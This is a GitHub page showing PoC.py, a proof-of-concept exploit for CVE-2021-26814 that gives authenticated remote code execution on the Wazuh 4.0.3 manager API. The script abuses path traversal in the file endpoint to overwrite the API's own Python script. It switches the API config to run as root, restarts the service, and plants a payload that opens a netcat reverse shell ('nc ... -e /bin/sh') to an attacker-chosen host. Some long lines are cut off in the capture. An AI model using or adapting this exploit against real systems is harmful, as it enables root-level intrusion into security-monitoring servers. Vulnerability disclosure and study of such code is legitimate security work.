Files

6a17355

Go to file

LICENSE.md

PoC.py

README.md

CVE-2021-26814 / PoC.py

WickdDavid Added PoC and LICENSE files. d877a77 · 3 years ago History

Code Blame 127 lines (94 loc) · 3.92 KB Raw

```
# Exploit Title: Wazuh 4.0.3 API RCE
# Author: WickdDavid (Davide Meacci)
# Date: 2021-01-01
# Vendor Homepage: https://github.com/wazuh/wazuh
# Version : 4.0.3


import requests
import sys
import argparse
import time
import json
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


parser = argparse.ArgumentParser(description='Wazuh-manager authenticated RCE by WickdD
parser.add_argument('-user', dest='username',required=True,
                    help='wazuh API username')
parser.add_argument('-pwd', dest='password',required=True,
                    help='wazuh API password')
parser.add_argument('-lip', dest='srcip',required=True,
                    help='listening server')
parser.add_argument('-lport', dest='srcport',required=True,
                    help='listening port')
parser.add_argument('-tip', dest='destip',required=True,
                    help='target server ip (wazuh API)')
parser.add_argument('-tport', dest='destport',required=True,
                    help='target server port (wazuh API)')


args = parser.parse_args()

# executed payload may be changed here

exec_payload = """
import os #:l
os.system("nc %s %s -e /bin/sh") #:l
""" % (args.srcip, args.srcport)


config_payload = { "drop_privileges": False }


proxies = {
        "http":"http://127.0.0.1:8080",
        "https":"https://127.0.0.1:8080"
}

target = "https://%s:%s" % (args.destip,args.destport)
auth_token = ""
path_traversal = "etc/lists/../../../../.."
headers = {}

# step 1 - obtaining auth token

r = requests.get("%s/security/user/authenticate?raw=true" % target, auth=(args.username
```

```
57      r = requests.get("%s/security/user/authenticate?raw=true" % target, auth=(args.username
58
59      if(r.status_code == 200):
60          auth_token = r.text
61          headers["Authorization"] = "Bearer %s" % auth_token
62      else:
63          print("[!] No auth code recovered. Check username and password")
64          exit(1)
65
66      # step 2 - Privilege Escalation on API (not implemented)
67
68
69      # step 3 - Save files to be restored later
70
71      file_to_overwrite = "/var/ossec/api/scripts/wazuh-apid.py"
72      print("[+] Saving files to restore later...")
73      r = requests.get("%s/manager/files?path=%s%s" % (target,path_traversal,file_to_overwrit
74      f = open("backup.py","w")
75      f.write(json.loads(r.text)["contents"])
76      f.close()
77      time.sleep(1)
78
79      # step 4 - Local Privilege Escalation
80
81      print("[+] Changing API config to run as root...")
82      r = requests.put("%s/manager/api/config" % target, headers = headers, json = config_pay
83      time.sleep(1)
84
85      # step 5 - Restart server (now api service runs as root)
86
87      print("[+] Restarting server...")
88      r = requests.put("%s/manager/restart?wait_for_complete=true" % target, headers = header
89      #print(r.text)
90
91      data = {"title":"Bad Request"}
92      while "title" in data and "Bad request" in data["title"]:
93          time.sleep(5)
94          try:
95              r = requests.get("%s/manager/status" % target, headers = headers, verify=False)
96              #print(r.text)
97              data = json.loads(r.text)
98          except:
99              continue
100
101     # step 6 - Overwrite /var/ossec/api/scripts/wazuh-apid.py with malicious python payload
102
103     print("[+] Uploading payload...")
104     r = requests.put("%s/manager/files?path=%s%s&overwrite=true" % (target,path_traversal,f
105     #print(r.text)
106     time.sleep(1)
107
108     # step 7 - Restart server (now malicious payload will be run by the server)
109
110
111     print("[+] Restarting API service for the last time...")
112     r = requests.put("%s/manager/restart?wait_for_complete=true" % target, headers = header
113     #print(r.text)
114
115     data = {"title":"Bad Request"}
116     while "title" in data and "Bad request" in data["title"]:
117         time.sleep(5)
118         try:
119             r = requests.get("%s/manager/status" % target, headers = headers, verify=False)
120             #print(r.text)
121             data = json.loads(r.text)
122         except:
123             continue
124
125
126     print("[+] Payload executed, check your shell now.")
127     print("[+] Remember to restore changed file (check local backup file)")
```